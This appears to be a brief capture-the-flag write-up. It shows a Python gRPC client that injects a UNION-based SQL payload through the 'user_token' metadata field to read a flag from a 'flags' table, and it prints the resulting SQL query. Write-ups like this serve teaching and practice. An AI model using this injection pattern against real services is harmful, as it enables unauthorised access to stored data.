Rating:
SQL Injection over gRPC:
```
import grpc
import main_pb2
import main_pb2_grpc
CON_STR = 'light.w-jp.cf:1004'
with grpc.insecure_channel(CON_STR) as channel:
stub = main_pb2_grpc.SrvStub(channel)
res = stub.GetLoginHistory(main_pb2.SrvRequest(), metadata=(('user_token', "')) UNION SELECT flag FROM flags-- "),))
print(res.ip)
```
which results in the following SQL query being executed: ```SELECT ul.ip FROM `user_logs` AS `ul` WHERE (ul.user_id = (SELECT id FROM users AS u WHERE u.token = '')) UNION SELECT flag FROM flags-- '))```